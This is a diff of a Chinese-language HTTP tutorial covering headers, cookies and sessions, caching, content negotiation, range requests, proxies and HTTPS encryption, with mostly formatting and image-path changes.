+| Proxy-Authorization | 代理服务器要求客户端的认证信息 |
+| Range | 实体的字节范围请求 |
+| Referer | 对请求中 URI 的原始获取方 |
+| TE | 传输编码的优先级 |
+| User-Agent | HTTP 客户端程序的信息 |
 
-## 响应首部字段
+## 响应首部字段
 
-| 首部字段名 | 说明 |
-| :--: | :--: |
-| Accept-Ranges | 是否接受字节范围请求 |
-| Age | 推算资源创建经过时间 |
-| ETag | 资源的匹配信息 |
-| Location | 令客户端重定向至指定 URI |
-| Proxy-Authenticate | 代理服务器对客户端的认证信息 |
-| Retry-After | 对再次发起请求的时机要求 |
-| Server | HTTP 服务器的安装信息 |
-| Vary | 代理服务器缓存的管理信息 |
-| WWW-Authenticate | 服务器对客户端的认证信息 |
+| 首部字段名 | 说明 |
+| :--: | :--: |
+| Accept-Ranges | 是否接受字节范围请求 |
+| Age | 推算资源创建经过时间 |
+| ETag | 资源的匹配信息 |
+| Location | 令客户端重定向至指定 URI |
+| Proxy-Authenticate | 代理服务器对客户端的认证信息 |
+| Retry-After | 对再次发起请求的时机要求 |
+| Server | HTTP 服务器的安装信息 |
+| Vary | 代理服务器缓存的管理信息 |
+| WWW-Authenticate | 服务器对客户端的认证信息 |
 
-## 实体首部字段
+## 实体首部字段
 
-| 首部字段名 | 说明 |
-| :--: | :--: |
-| Allow | 资源可支持的 HTTP 方法 |
-| Content-Encoding | 实体主体适用的编码方式 |
-| Content-Language | 实体主体的自然语言 |
-| Content-Length | 实体主体的大小 |
-| Content-Location | 替代对应资源的 URI |
-| Content-MD5 | 实体主体的报文摘要 |
-| Content-Range | 实体主体的位置范围 |
-| Content-Type | 实体主体的媒体类型 |
-| Expires | 实体主体过期的日期时间 |
-| Last-Modified | 资源的最后修改日期时间 |
+| 首部字段名 | 说明 |
+| :--: | :--: |
+| Allow | 资源可支持的 HTTP 方法 |
+| Content-Encoding | 实体主体适用的编码方式 |
+| Content-Language | 实体主体的自然语言 |
+| Content-Length | 实体主体的大小 |
+| Content-Location | 替代对应资源的 URI |
+| Content-MD5 | 实体主体的报文摘要 |
+| Content-Range | 实体主体的位置范围 |
+| Content-Type | 实体主体的媒体类型 |
+| Expires | 实体主体过期的日期时间 |
+| Last-Modified | 资源的最后修改日期时间 |
 
-# 五、具体应用
+# 五、具体应用
 
-## 连接管理
+## 连接管理
 
-<div align="center"> <img src="pics/HTTP1_x_Connections.png" width="800"/> </div><br>
+<img src="index_files/HTTP1_x_Connections.png" width="800"/>
 
-### 1. 短连接与长连接
+### 1. 短连接与长连接
 
-当浏览器访问一个包含多张图片的 HTML 页面时，除了请求访问 HTML 页面资源，还会请求图片资源。如果每进行一次 HTTP 通信就要新建一个 TCP 连接，那么开销会很大。
+当浏览器访问一个包含多张图片的 HTML 页面时，除了请求访问 HTML 页面资源，还会请求图片资源。如果每进行一次 HTTP 通信就要新建一个 TCP 连接，那么开销会很大。
 
-长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
+长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
 
-- 从 HTTP/1.1 开始默认是长连接的，如果要断开连接，需要由客户端或者服务器端提出断开，使用 `Connection : close`；
-- 在 HTTP/1.1 之前默认是短连接的，如果需要使用长连接，则使用 `Connection : Keep-Alive`。
+- 从 HTTP/1.1 开始默认是长连接的，如果要断开连接，需要由客户端或者服务器端提出断开，使用 `Connection : close`；
+- 在 HTTP/1.1 之前默认是短连接的，如果需要使用长连接，则使用 `Connection : Keep-Alive`。
 
-### 2. 流水线
+### 2. 流水线
 
-默认情况下，HTTP 请求是按顺序发出的，下一个请求只有在当前请求收到响应之后才会被发出。由于会受到网络延迟和带宽的限制，在下一个请求被发送到服务器之前，可能需要等待很长时间。
+默认情况下，HTTP 请求是按顺序发出的，下一个请求只有在当前请求收到响应之后才会被发出。由于会受到网络延迟和带宽的限制，在下一个请求被发送到服务器之前，可能需要等待很长时间。
 
 流水线是在同一条长连接上发出连续的请求，而不用等待响应返回，这样可以避免连接延迟。
 
-## Cookie
+## Cookie
 
-HTTP 协议是无状态的，主要是为了让 HTTP 协议尽可能简单，使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。
+HTTP 协议是无状态的，主要是为了让 HTTP 协议尽可能简单，使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。
 
-Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据，它会在浏览器之后向同一服务器再次发起请求时被携带上，用于告知服务端两个请求是否来自同一浏览器。由于之后每次请求都会需要携带 Cookie 数据，因此会带来额外的性能开销（尤其是在移动环境下）。
+Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据，它会在浏览器之后向同一服务器再次发起请求时被携带上，用于告知服务端两个请求是否来自同一浏览器。由于之后每次请求都会需要携带 Cookie 数据，因此会带来额外的性能开销（尤其是在移动环境下）。
 
-Cookie 曾一度用于客户端数据的存储，因为当时并没有其它合适的存储办法而作为唯一的存储手段，但现在随着现代浏览器开始支持各种各样的存储方式，Cookie 渐渐被淘汰。新的浏览器 API 已经允许开发者直接将数据存储到本地，如使用 Web storage API（本地存储和会话存储）或 IndexedDB。
+Cookie 曾一度用于客户端数据的存储，因为当时并没有其它合适的存储办法而作为唯一的存储手段，但现在随着现代浏览器开始支持各种各样的存储方式，Cookie 渐渐被淘汰。新的浏览器 API 已经允许开发者直接将数据存储到本地，如使用 Web storage API（本地存储和会话存储）或 IndexedDB。
 
-### 1. 用途
+### 1. 用途
 
-- 会话状态管理（如用户登录状态、购物车、游戏分数或其它需要记录的信息）
-- 个性化设置（如用户自定义设置、主题等）
-- 浏览器行为跟踪（如跟踪分析用户行为等）
+- 会话状态管理（如用户登录状态、购物车、游戏分数或其它需要记录的信息）
+- 个性化设置（如用户自定义设置、主题等）
+- 浏览器行为跟踪（如跟踪分析用户行为等）
 
-### 2. 创建过程
+### 2. 创建过程
 
-服务器发送的响应报文包含 Set-Cookie 首部字段，客户端得到响应报文后把 Cookie 内容保存到浏览器中。
+服务器发送的响应报文包含 Set-Cookie 首部字段，客户端得到响应报文后把 Cookie 内容保存到浏览器中。
 
 ```html
-HTTP/1.0 200 OK
-Content-type: text/html
-Set-Cookie: yummy_cookie=choco
-Set-Cookie: tasty_cookie=strawberry
+HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
 
-[page content]
+[page content]
 ```
 
-客户端之后对同一个服务器发送请求时，会从浏览器中取出 Cookie 信息并通过 Cookie 请求首部字段发送给服务器。
+客户端之后对同一个服务器发送请求时，会从浏览器中取出 Cookie 信息并通过 Cookie 请求首部字段发送给服务器。
 
 ```html
-GET /sample_page.html HTTP/1.1
-Host: www.example.org
-Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
 ```
 
-### 3. 分类
+### 3. 分类
 
-- 会话期 Cookie：浏览器关闭之后它会被自动删除，也就是说它仅在会话期内有效。
-- 持久性 Cookie：指定一个特定的过期时间（Expires）或有效期（max-age）之后就成为了持久性的 Cookie。
+- 会话期 Cookie：浏览器关闭之后它会被自动删除，也就是说它仅在会话期内有效。
+- 持久性 Cookie：指定一个特定的过期时间（Expires）或有效期（max-age）之后就成为了持久性的 Cookie。
 
 ```html
-Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
 ```
 
-### 4. 作用域
+### 4. 作用域
 
-Domain 标识指定了哪些主机可以接受 Cookie。如果不指定，默认为当前文档的主机（不包含子域名）。如果指定了 Domain，则一般包含子域名。例如，如果设置 Domain=mozilla.org，则 Cookie 也包含在子域名中（如 developer.mozilla.org）。
+Domain 标识指定了哪些主机可以接受 Cookie。如果不指定，默认为当前文档的主机（不包含子域名）。如果指定了 Domain，则一般包含子域名。例如，如果设置 Domain=mozilla.org，则 Cookie 也包含在子域名中（如 developer.mozilla.org）。
 
-Path 标识指定了主机下的哪些路径可以接受 Cookie（该 URL 路径必须存在于请求 URL 中）。以字符 %x2F ("/") 作为路径分隔符，子路径也会被匹配。例如，设置 Path=/docs，则以下地址都会匹配：
+Path 标识指定了主机下的哪些路径可以接受 Cookie（该 URL 路径必须存在于请求 URL 中）。以字符 %x2F ("/") 作为路径分隔符，子路径也会被匹配。例如，设置 Path=/docs，则以下地址都会匹配：
 
-- /docs
-- /docs/Web/
-- /docs/Web/HTTP
+- /docs
+- /docs/Web/
+- /docs/Web/HTTP
 
-### 5. JavaScript
+### 5. JavaScript
 
-通过 `document.cookie` 属性可创建新的 Cookie，也可通过该属性访问非 HttpOnly 标记的 Cookie。
+通过 `document.cookie` 属性可创建新的 Cookie，也可通过该属性访问非 HttpOnly 标记的 Cookie。
 
 ```html
-document.cookie = "yummy_cookie=choco";
-document.cookie = "tasty_cookie=strawberry";
+document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
 console.log(document.cookie);
 ```
 
-### 6. HttpOnly
+### 6. HttpOnly
 
-标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。跨站脚本攻击 (XSS) 常常使用 JavaScript 的 `document.cookie` API 窃取用户的 Cookie 信息，因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。
+标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。跨站脚本攻击 (XSS) 常常使用 JavaScript 的 `document.cookie` API 窃取用户的 Cookie 信息，因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。
 
 ```html
-Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
 ```
 
-### 7. Secure
+### 7. Secure
 
-标记为 Secure 的 Cookie 只能通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记，敏感信息也不应该通过 Cookie 传输，因为 Cookie 有其固有的不安全性，Secure 标记也无法提供确实的安全保障。
+标记为 Secure 的 Cookie 只能通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记，敏感信息也不应该通过 Cookie 传输，因为 Cookie 有其固有的不安全性，Secure 标记也无法提供确实的安全保障。
 
-### 8. Session
+### 8. Session
 
-除了可以将用户信息通过 Cookie 存储在用户浏览器中，也可以利用 Session 存储在服务器端，存储在服务器端的信息更加安全。
+除了可以将用户信息通过 Cookie 存储在用户浏览器中，也可以利用 Session 存储在服务器端，存储在服务器端的信息更加安全。
 
-Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中，效率会更高。
+Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中，效率会更高。
 
-使用 Session 维护用户登录状态的过程如下：
+使用 Session 维护用户登录状态的过程如下：
 
-- 用户进行登录时，用户提交包含用户名和密码的表单，放入 HTTP 请求报文中；
-- 服务器验证该用户名和密码，如果正确则把用户信息存储到 Redis 中，它在 Redis 中的 Key 称为 Session ID；
-- 服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID，客户端收到响应报文之后将该 Cookie 值存入浏览器中；
-- 客户端之后对同一个服务器进行请求时会包含该 Cookie 值，服务器收到之后提取出 Session ID，从 Redis 中取出用户信息，继续之前的业务操作。
+- 用户进行登录时，用户提交包含用户名和密码的表单，放入 HTTP 请求报文中；
+- 服务器验证该用户名和密码，如果正确则把用户信息存储到 Redis 中，它在 Redis 中的 Key 称为 Session ID；
+- 服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID，客户端收到响应报文之后将该 Cookie 值存入浏览器中；
+- 客户端之后对同一个服务器进行请求时会包含该 Cookie 值，服务器收到之后提取出 Session ID，从 Redis 中取出用户信息，继续之前的业务操作。
 
-应该注意 Session ID 的安全性问题，不能让它被恶意攻击者轻易获取，那么就不能产生一个容易被猜到的 Session ID 值。此外，还需要经常重新生成 Session ID。在对安全性要求极高的场景下，例如转账等操作，除了使用 Session 管理用户状态之外，还需要对用户进行重新验证，比如重新输入密码，或者使用短信验证码等方式。
+应该注意 Session ID 的安全性问题，不能让它被恶意攻击者轻易获取，那么就不能产生一个容易被猜到的 Session ID 值。此外，还需要经常重新生成 Session ID。在对安全性要求极高的场景下，例如转账等操作，除了使用 Session 管理用户状态之外，还需要对用户进行重新验证，比如重新输入密码，或者使用短信验证码等方式。
 
-### 9. 浏览器禁用 Cookie
+### 9. 浏览器禁用 Cookie
 
-此时无法使用 Cookie 来保存用户信息，只能使用 Session。除此之外，不能再将 Session ID 存放到 Cookie 中，而是使用 URL 重写技术，将 Session ID 作为 URL 的参数进行传递。
+此时无法使用 Cookie 来保存用户信息，只能使用 Session。除此之外，不能再将 Session ID 存放到 Cookie 中，而是使用 URL 重写技术，将 Session ID 作为 URL 的参数进行传递。
 
-### 10. Cookie 与 Session 选择
+### 10. Cookie 与 Session 选择
 
-- Cookie 只能存储 ASCII 码字符串，而 Session 则可以存取任何类型的数据，因此在考虑数据复杂性时首选 Session；
-- Cookie 存储在浏览器中，容易被恶意查看。如果非要将一些隐私数据存在 Cookie 中，可以将 Cookie 值进行加密，然后在服务器进行解密；
-- 对于大型网站，如果用户所有的信息都存储在 Session 中，那么开销是非常大的，因此不建议将所有的用户信息都存储到 Session 中。
+- Cookie 只能存储 ASCII 码字符串，而 Session 则可以存取任何类型的数据，因此在考虑数据复杂性时首选 Session；
+- Cookie 存储在浏览器中，容易被恶意查看。如果非要将一些隐私数据存在 Cookie 中，可以将 Cookie 值进行加密，然后在服务器进行解密；
+- 对于大型网站，如果用户所有的信息都存储在 Session 中，那么开销是非常大的，因此不建议将所有的用户信息都存储到 Session 中。
 
-## 缓存
+## 缓存
 
-### 1. 优点
+### 1. 优点
 
-- 缓解服务器压力；
-- 降低客户端获取资源的延迟：缓存通常位于内存中，读取缓存的速度更快。并且缓存在地理位置上也有可能比源服务器来得近，例如浏览器缓存。
+- 缓解服务器压力；
+- 降低客户端获取资源的延迟：缓存通常位于内存中，读取缓存的速度更快。并且缓存在地理位置上也有可能比源服务器来得近，例如浏览器缓存。
 
-### 2. 实现方法
+### 2. 实现方法
 
-- 让代理服务器进行缓存；
-- 让客户端浏览器进行缓存。
+- 让代理服务器进行缓存；
+- 让客户端浏览器进行缓存。
 
-### 3. Cache-Control
+### 3. Cache-Control
 
-HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。
+HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。
 
-**3.1 禁止进行缓存** 
+**3.1 禁止进行缓存**
 
-no-store 指令规定不能对请求或响应的任何一部分进行缓存。
+no-store 指令规定不能对请求或响应的任何一部分进行缓存。
 
 ```html
-Cache-Control: no-store
+Cache-Control: no-store
 ```
 
-**3.2 强制确认缓存** 
+**3.2 强制确认缓存**
 
-no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性，只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。
+no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性，只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。
 
 ```html
-Cache-Control: no-cache
+Cache-Control: no-cache
 ```
 
-**3.3 私有缓存和公共缓存** 
+**3.3 私有缓存和公共缓存**
 
-private 指令规定了将资源作为私有缓存，只能被单独用户所使用，一般存储在用户浏览器中。
+private 指令规定了将资源作为私有缓存，只能被单独用户所使用，一般存储在用户浏览器中。
 
 ```html
-Cache-Control: private
+Cache-Control: private
 ```
 
-public 指令规定了将资源作为公共缓存，可以被多个用户所使用，一般存储在代理服务器中。
+public 指令规定了将资源作为公共缓存，可以被多个用户所使用，一般存储在代理服务器中。
 
 ```html
-Cache-Control: public
+Cache-Control: public
 ```
 
-**3.4 缓存过期机制** 
+**3.4 缓存过期机制**
 
-max-age 指令出现在请求报文中，并且缓存资源的缓存时间小于该指令指定的时间，那么就能接受该缓存。
+max-age 指令出现在请求报文中，并且缓存资源的缓存时间小于该指令指定的时间，那么就能接受该缓存。
 
-max-age 指令出现在响应报文中，表示缓存资源在缓存服务器中保存的时间。
+max-age 指令出现在响应报文中，表示缓存资源在缓存服务器中保存的时间。
 
 ```html
-Cache-Control: max-age=31536000
+Cache-Control: max-age=31536000
 ```
 
-Expires 首部字段也可以用于告知缓存服务器该资源什么时候会过期。
+Expires 首部字段也可以用于告知缓存服务器该资源什么时候会过期。
 
 ```html
-Expires: Wed, 04 Jul 2012 08:26:05 GMT
+Expires: Wed, 04 Jul 2012 08:26:05 GMT
 ```
 
-- 在 HTTP/1.1 中，会优先处理 max-age 指令；
-- 在 HTTP/1.0 中，max-age 指令会被忽略掉。
+- 在 HTTP/1.1 中，会优先处理 max-age 指令；
+- 在 HTTP/1.0 中，max-age 指令会被忽略掉。
 
-### 4. 缓存验证
+### 4. 缓存验证
 
-需要先了解 ETag 首部字段的含义，它是资源的唯一标识。URL 不能唯一表示资源，例如 `http://www.google.com/` 有中文和英文两个资源，只有 ETag 才能对这两个资源进行唯一标识。
+需要先了解 ETag 首部字段的含义，它是资源的唯一标识。URL 不能唯一表示资源，例如 `http://www.google.com/` 有中文和英文两个资源，只有 ETag 才能对这两个资源进行唯一标识。
 
 ```html
-ETag: "82e22293907ce725faf67773957acd12"
+ETag: "82e22293907ce725faf67773957acd12"
 ```
 
-可以将缓存资源的 ETag 值放入 If-None-Match 首部，服务器收到该请求后，判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致，如果一致则表示缓存资源有效，返回 304 Not Modified。
+可以将缓存资源的 ETag 值放入 If-None-Match 首部，服务器收到该请求后，判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致，如果一致则表示缓存资源有效，返回 304 Not Modified。
 
 ```html
-If-None-Match: "82e22293907ce725faf67773957acd12"
+If-None-Match: "82e22293907ce725faf67773957acd12"
 ```
 
-Last-Modified 首部字段也可以用于缓存验证，它包含在源服务器发送的响应报文中，指示源服务器对资源的最后修改时间。但是它是一种弱校验器，因为只能精确到一秒，所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息，客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回，状态码为 200 OK。如果请求的资源从那时起未经修改，那么返回一个不带有消息主体的 304 Not Modified 响应。
+Last-Modified 首部字段也可以用于缓存验证，它包含在源服务器发送的响应报文中，指示源服务器对资源的最后修改时间。但是它是一种弱校验器，因为只能精确到一秒，所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息，客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回，状态码为 200 OK。如果请求的资源从那时起未经修改，那么返回一个不带有消息主体的 304 Not Modified 响应。
 
 ```html
-Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
+Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
 ```
 
 ```html
-If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
 ```
 
-## 内容协商
+## 内容协商
 
 通过内容协商返回最合适的内容，例如根据浏览器的默认语言选择返回中文界面还是英文界面。
 
-### 1. 类型
+### 1. 类型
 
-**1.1 服务端驱动型** 
+**1.1 服务端驱动型**
 
-客户端设置特定的 HTTP 首部字段，例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language，服务器根据这些字段返回特定的资源。
+客户端设置特定的 HTTP 首部字段，例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language，服务器根据这些字段返回特定的资源。
 
 它存在以下问题：
 
-- 服务器很难知道客户端浏览器的全部信息；
-- 客户端提供的信息相当冗长（HTTP/2 协议的首部压缩机制缓解了这个问题），并且存在隐私风险（HTTP 指纹识别技术）；
-- 给定的资源需要返回不同的展现形式，共享缓存的效率会降低，而服务器端的实现会越来越复杂。
+- 服务器很难知道客户端浏览器的全部信息；
+- 客户端提供的信息相当冗长（HTTP/2 协议的首部压缩机制缓解了这个问题），并且存在隐私风险（HTTP 指纹识别技术）；
+- 给定的资源需要返回不同的展现形式，共享缓存的效率会降低，而服务器端的实现会越来越复杂。
 
-**1.2 代理驱动型** 
+**1.2 代理驱动型**
 
-服务器返回 300 Multiple Choices 或者 406 Not Acceptable，客户端从中选出最合适的那个资源。
+服务器返回 300 Multiple Choices 或者 406 Not Acceptable，客户端从中选出最合适的那个资源。
 
-### 2. Vary
+### 2. Vary
 
 ```html
-Vary: Accept-Language
+Vary: Accept-Language
 ```
 
 在使用内容协商的情况下，只有当缓存服务器中的缓存满足内容协商条件时，才能使用该缓存，否则应该向源服务器请求该资源。
 
-例如，一个客户端发送了一个包含 Accept-Language 首部字段的请求之后，源服务器返回的响应包含 `Vary: Accept-Language` 内容，缓存服务器对这个响应进行缓存之后，在客户端下一次访问同一个 URL 资源，并且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。
+例如，一个客户端发送了一个包含 Accept-Language 首部字段的请求之后，源服务器返回的响应包含 `Vary: Accept-Language` 内容，缓存服务器对这个响应进行缓存之后，在客户端下一次访问同一个 URL 资源，并且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。
 
-## 内容编码
+## 内容编码
 
 内容编码将实体主体进行压缩，从而减少传输的数据量。
 
 常用的内容编码有：gzip、compress、deflate、identity。
 
-浏览器发送 Accept-Encoding 首部，其中包含有它所支持的压缩算法，以及各自的优先级。服务器则从中选择一种，使用该算法对响应的消息主体进行压缩，并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的，在响应的 Vary 首部至少要包含 Content-Encoding。
+浏览器发送 Accept-Encoding 首部，其中包含有它所支持的压缩算法，以及各自的优先级。服务器则从中选择一种，使用该算法对响应的消息主体进行压缩，并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的，在响应的 Vary 首部至少要包含 Content-Encoding。
 
-## 范围请求
+## 范围请求
 
 如果网络出现中断，服务器只发送了一部分数据，范围请求可以使得客户端只请求服务器未发送的那部分数据，从而避免服务器重新发送所有数据。
 
-### 1. Range
+### 1. Range
 
-在请求报文中添加 Range 首部字段指定请求的范围。
+在请求报文中添加 Range 首部字段指定请求的范围。
 
 ```html
-GET /z4d4kWk.jpg HTTP/1.1
-Host: i.imgur.com
-Range: bytes=0-1023
+GET /z4d4kWk.jpg HTTP/1.1
+Host: i.imgur.com
+Range: bytes=0-1023
 ```
 
-请求成功的话服务器返回的响应包含 206 Partial Content 状态码。
+请求成功的话服务器返回的响应包含 206 Partial Content 状态码。
 
 ```html
-HTTP/1.1 206 Partial Content
-Content-Range: bytes 0-1023/146515
-Content-Length: 1024
+HTTP/1.1 206 Partial Content
+Content-Range: bytes 0-1023/146515
+Content-Length: 1024
 ...
-(binary content)
+(binary content)
 ```
 
-### 2. Accept-Ranges
+### 2. Accept-Ranges
 
-响应首部字段 Accept-Ranges 用于告知客户端是否能处理范围请求，可以处理使用 bytes，否则使用 none。
+响应首部字段 Accept-Ranges 用于告知客户端是否能处理范围请求，可以处理使用 bytes，否则使用 none。
 
 ```html
-Accept-Ranges: bytes
+Accept-Ranges: bytes
 ```
 
-### 3. 响应状态码
+### 3. 响应状态码
 
-- 在请求成功的情况下，服务器会返回 206 Partial Content 状态码。
-- 在请求的范围越界的情况下，服务器会返回 416 Requested Range Not Satisfiable 状态码。
-- 在不支持范围请求的情况下，服务器会返回 200 OK 状态码。
+- 在请求成功的情况下，服务器会返回 206 Partial Content 状态码。
+- 在请求的范围越界的情况下，服务器会返回 416 Requested Range Not Satisfiable 状态码。
+- 在不支持范围请求的情况下，服务器会返回 200 OK 状态码。
 
-## 分块传输编码
+## 分块传输编码
 
-Chunked Transfer Coding，可以把数据分割成多块，让浏览器逐步显示页面。
+Chunked Transfer Coding，可以把数据分割成多块，让浏览器逐步显示页面。
 
-## 多部分对象集合
+## 多部分对象集合
 
-一份报文主体内可含有多种类型的实体同时发送，每个部分之间用 boundary 字段定义的分隔符进行分隔，每个部分都可以有首部字段。
+一份报文主体内可含有多种类型的实体同时发送，每个部分之间用 boundary 字段定义的分隔符进行分隔，每个部分都可以有首部字段。
 
 例如，上传多个表单时可以使用如下方式：
 
 ```html
-Content-Type: multipart/form-data; boundary=AaB03x
+Content-Type: multipart/form-data; boundary=AaB03x
 
 --AaB03x
-Content-Disposition: form-data; name="submit-name"
+Content-Disposition: form-data; name="submit-name"
 
 Larry
 --AaB03x
-Content-Disposition: form-data; name="files"; filename="file1.txt"
-Content-Type: text/plain
+Content-Disposition: form-data; name="files"; filename="file1.txt"
+Content-Type: text/plain
 
-... contents of file1.txt ...
+... contents of file1.txt ...
 --AaB03x--
 ```
 
-## 虚拟主机
+## 虚拟主机
 
-HTTP/1.1 使用虚拟主机技术，使得一台服务器拥有多个域名，并且在逻辑上可以看成多个服务器。
+HTTP/1.1 使用虚拟主机技术，使得一台服务器拥有多个域名，并且在逻辑上可以看成多个服务器。
 
-## 通信数据转发
+## 通信数据转发
 
-### 1. 代理
+### 1. 代理
 
 代理服务器接受客户端的请求，并且转发给其它服务器。
 
 使用代理的主要目的是：
 
-- 缓存
-- 负载均衡
-- 网络访问控制
-- 访问日志记录
+- 缓存
+- 负载均衡
+- 网络访问控制
+- 访问日志记录
 
 代理服务器分为正向代理和反向代理两种：
 
-- 用户察觉得到正向代理的存在。
+- 用户察觉得到正向代理的存在。
 
-<div align="center"> <img src="pics/a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/> </div><br>
+<img src="index_files/a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/>
 
-- 而反向代理一般位于内部网络中，用户察觉不到。
+- 而反向代理一般位于内部网络中，用户察觉不到。
 
-<div align="center"> <img src="pics/2d09a847-b854-439c-9198-b29c65810944.png" width=""/> </div><br>
+<img src="index_files/2d09a847-b854-439c-9198-b29c65810944.png" width=""/>
 
-### 2. 网关
+### 2. 网关
 
-与代理服务器不同的是，网关服务器会将 HTTP 转化为其它协议进行通信，从而请求其它非 HTTP 服务器的服务。
+与代理服务器不同的是，网关服务器会将 HTTP 转化为其它协议进行通信，从而请求其它非 HTTP 服务器的服务。
 
-### 3. 隧道
+### 3. 隧道
 
-使用 SSL 等加密手段，在客户端和服务器之间建立一条安全的通信线路。
+使用 SSL 等加密手段，在客户端和服务器之间建立一条安全的通信线路。
 
-# 六、HTTPs
+# 六、HTTPs
 
-HTTP 有以下安全性问题：
+HTTP 有以下安全性问题：
 
-- 使用明文进行通信，内容可能会被窃听；
-- 不验证通信方的身份，通信方的身份有可能遭遇伪装；
-- 无法证明报文的完整性，报文有可能遭篡改。
+- 使用明文进行通信，内容可能会被窃听；
+- 不验证通信方的身份，通信方的身份有可能遭遇伪装；
+- 无法证明报文的完整性，报文有可能遭篡改。
 
-HTTPs 并不是新协议，而是让 HTTP 先和 SSL（Secure Sockets Layer）通信，再由 SSL 和 TCP 通信，也就是说 HTTPs 使用了隧道进行通信。
+HTTPs 并不是新协议，而是让 HTTP 先和 SSL（Secure Sockets Layer）通信，再由 SSL 和 TCP 通信，也就是说 HTTPs 使用了隧道进行通信。
 
-通过使用 SSL，HTTPs 具有了加密（防窃听）、认证（防伪装）和完整性保护（防篡改）。
+通过使用 SSL，HTTPs 具有了加密（防窃听）、认证（防伪装）和完整性保护（防篡改）。
 
-<div align="center"> <img src="pics/ssl-offloading.jpg" width="700"/> </div><br>
+<img src="index_files/ssl-offloading.jpg" width="700"/>
 
-## 加密
+## 加密
 
-### 1. 对称密钥加密
+### 1. 对称密钥加密
 
-对称密钥加密（Symmetric-Key Encryption），加密和解密使用同一密钥。
+对称密钥加密（Symmetric-Key Encryption），加密和解密使用同一密钥。
 
-- 优点：运算速度快；
-- 缺点：无法安全地将密钥传输给通信方。
+- 优点：运算速度快；
+- 缺点：无法安全地将密钥传输给通信方。
 
-<div align="center"> <img src="pics/7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
+<img src="index_files/7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/>
 
-### 2.非对称密钥加密
+### 2.非对称密钥加密
 
-非对称密钥加密，又称公开密钥加密（Public-Key Encryption），加密和解密使用不同的密钥。
+非对称密钥加密，又称公开密钥加密（Public-Key Encryption），加密和解密使用不同的密钥。
 
 公开密钥所有人都可以获得，通信发送方获得接收方的公开密钥之后，就可以使用公开密钥进行加密，接收方收到通信内容后使用私有密钥解密。
 
 非对称密钥除了用来加密，还可以用来进行签名。因为私有密钥无法被其他人获取，因此通信发送方使用其私有密钥进行签名，通信接收方使用发送方的公开密钥对签名进行解密，就能判断这个签名是否正确。
 
-- 优点：可以更安全地将公开密钥传输给通信发送方；
-- 缺点：运算速度慢。
+- 优点：可以更安全地将公开密钥传输给通信发送方；
+- 缺点：运算速度慢。
 
-<div align="center"> <img src="pics/39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
+<img src="index_files/39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/>
 
-### 3. HTTPs 采用的加密方式
+### 3. HTTPs 采用的加密方式
 
-HTTPs 采用混合的加密机制，使用非对称密钥加密用于传输对称密钥来保证传输过程的安全性，之后使用对称密钥加密进行通信来保证通信过程的效率。（下图中的 Session Key 就是对称密钥）
+HTTPs 采用混合的加密机制，使用非对称密钥加密用于传输对称密钥来保证传输过程的安全性，之后使用对称密钥加密进行通信来保证通信过程的效率。（下图中的 Session Key 就是对称密钥）
 
